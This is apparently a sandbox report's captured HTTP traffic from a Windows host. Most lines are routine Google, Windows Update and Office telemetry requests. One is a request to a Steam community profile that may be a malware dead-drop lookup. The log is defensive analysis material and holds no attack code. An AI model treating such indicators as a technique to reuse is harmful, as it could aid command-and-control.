Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=1gVZwNE19FHhUY5&MD=zutHWYRy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=1gVZwNE19FHhUY5&MD=zutHWYRy HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
